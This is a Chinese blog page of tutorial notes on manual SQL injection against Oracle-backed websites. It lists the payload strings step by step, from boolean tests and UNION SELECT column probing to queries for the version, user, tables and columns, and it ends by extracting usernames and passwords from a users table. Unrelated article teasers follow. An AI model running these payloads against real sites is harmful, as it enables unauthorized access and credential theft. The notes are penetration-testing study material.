百度360必应搜狗淘宝本站头条
php redisredis 命令oracle位图索引redis 锁redis 主从
当前位置：网站首页 > 技术教程 > 正文

某教程学习笔记(一):10、oracle数据库注入

mhr18 2024-09-29 14:00 19 浏览 0 评论

这个社会，最可悲的莫过于那些既不是学霸，也不全是学渣的人，他们听不懂课，作业不会做，不逃课，不捣乱纪律，为考试着急，却又无奈与现状，三分钟热度，又恨自己不争气，更是以最普遍的身份埋没在人群中，正过着最最煎熬的日子。。。。

---- 网易云热评

一、Oracle数据库

一般大型企业都会用到，物流、旅游、航空、银行等等。。。

1、支持多用户、大事务量的处理

2、数据安全性和完整性的有效控制

3、支持分布式数据处理

4、移植性强


二、手动注入

1、判断是否存在

and 1=1 返回正常

and 1=2 返回错误


2、判断是否是Oracle数据库

and exists(select * from dual)

and exists(select * from user_tables)

返回正常说明是oracle


3、判断数列

order by 2 返回正常，说明有两列


4、联合查询

union select null,null from dual，这里不能写1,2 需要用null替换，然后将每个null用数字和字符替换一下，发现数字就报错，字符不报错

union select 1,null from dual 报错

union select null,1 from dual 报错

union select 'null','null' from dual 返回如下界面，这时就可以用下面的查询语句了

5、获取数据库版本

(select banner from sys.v_$Version where rownum=1)


6、获取连接数据库的当前用户

(select SYS_CONTEXT('USERENV','CURRENT_USER')from dual)

7、获取数据库

(select instance_name from v$instance) 获取当前数据库

(select owner from all_tables where rownum=1)获取第一个数据库

(select owner from all_tables where rownum=1 and owner<>'SYS')获取第二个数据库

8、获取表名

(select table_name from user_tables where rownum=1 and table_name like '%users%') from dual


10、获取列名

(select column_name from user_tab_columns where table_name='sns_users' and rownum=1)



11、获取第二列名

(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name<>'USER_NAME')


12、获取字段内容

id=1 and 1=2 union select USER_NAME,USER_PWD from "sns_users"

union select USER_NAME,USER_PWD from "sns_users" where USER_NAME<>'hu' 获取第二个用户信息


禁止非法，后果自负

欢迎关注公众号：web安全工具库

相关推荐

一文带您了解数据库的行列之争:行式与列式存储的异同

数据库存储格式是数据库管理系统中一个至关重要的方面，它直接影响到数据的组织和检索效率。在数据库中，有两种主要的存储格式，即行式存储和列式存储。这两者采用截然不同的方法来组织和存储数据，各自具有一系列优...

NL2SQL(三)开源项目怎么选:talk is cheap, show me the code!

老规矩，先看效果下面的demo来自试用的SuperSonic，将会在下面详细介绍：大模型时代Text-to-SQL特点随着基于LLM技术的发展，RAG/AIAgent/Fine...

JDK25长期支持版九月降临:18项王炸功能全解析

Java要放大招啦！9月份推出的JDK25长期支持版已经锁定18个超能力，从稳定值到结构化并发，还有Linux系统下的"预知未来"性能分析！下面我用打游戏的术语给你们掰扯明白：1、飞...

OceanBase 推出单机版 高度兼容MySQL和Oracle

【环球网科技综合报道】3月27日，独立数据库厂商OceanBase正式发布单机版产品。据悉，这一产品基于自主研发的单机分布式一体化架构设计，具备极简数据库架构和高度兼容性，为中小规模业务提供兼具性能与...

黄远邦:应对7月1日闰秒对Oracle数据库影响

由于今年7月1日全世界会多出一秒，这可能对时间敏感的IT系统造成较大影响。中亦科技数据库团队对此问题做了深入的研究，并对用户系统提出了相应的解决方法及建议。中亦科技数据库产品总监黄远邦认为,闰秒调整会...

MySQL数据库密码忘记了，怎么办?（mysql 数据库密码）

#头条创作挑战赛#MySQL数据库密码忘记了且没有其他可以修改账号密码的账户时怎么办呢？登录MySQL，密码输入错误/*密码错误，报如下错误*/[root@TESTDB~]#mysql-u...

Chinese AI Talent in Spotlight as Nvidia and Meta Escalate Talent War

OntherightisBanghuaZhu,ChiefResearchScientistatNVIDIATMTPOST--SiliconValley’stoptech...

用Cursor开启JAVA+AI生涯（javascirpt怎么开启）

Cursor是基于VSCode开发的一款编辑器，支持多种语言的开发编辑。与传统的开发工具相比，它有多种优势：与AI无缝集成，响应速度快，占用内存小。但很多同学在"起步"过程中遇到了...

毕业十年了，自从做了开发用了很多软件，但距离写开发工具还很远

办公系统类：办公软件Word、Excel、PowerPoint三大必备技能+腾讯/金山在线文档解压缩操作：7-zip/winrar文件文本处理：Notepad++(文本编辑器正则表达式超级好...

盘点Java中最没用的知识⑤:这3个老古董你还在代码里“考古”?

一、Stack类：“继承Vector”的历史bug，为何成了性能拖油瓶？你是不是在学Java集合时，老师说过“栈结构用Stack类”？是不是在老代码里见过"newStack<>(...

Gemini 2.5 Pro 0506发布，编程最强大模型， 碾压 Claude3.7 sonnent

一、Gemini2.5Pro(I/Oedition)发布1、为何叫I/Oedition？谷歌史上最强编程模型Gemini2.5Pro(I/Oedition)发布，具体型号是Gemin...

如何让无聊变得有趣(附本人大量美图)

文/图：金冬成在这条长300公里的公路上，我已经来回往返了无数次。3小时车程，一个人，想想都是多么无聊的一件事。其实，人生道路上，类似这种无聊的事情有很多很多。无聊的事情、枯燥的工作，往往让我们容易失...

Oracle 推出 Java 24，增强 AI 支持和后量子加密

导读：Oracle宣布正式发布Java24，该语言增加了几个新功能，例如StreamGatherersAPI和Class-FileAPI的可用性，以及专门为AI推理和量子安全设计...

公司ERP突然变慢?“索引重建”这颗“药”可不能随便吃!

各位老板、IT小哥、财务小姐姐，有没有遇到过公司ERP系统突然卡顿得像“老爷车”，点个按钮半天没反应，急得直跺脚？这时候，可能有人会跳出来说：“我知道，重建一下数据库索引就好了！”听起来像个“神操作”...

基于Java实现，支持在线发布API接口读取数据库，有哪些工具?

基于java实现，不需要编辑就能发布api接口的，有哪些工具、平台？还能一键发布、快速授权和开放提供给第三方请求调用接口的解决方案。架构方案设计：以下是一些基于Java实现的无需编辑或只需少量编辑...

取消回复欢迎 你 发表评论:

一周热门
最近发表
标签列表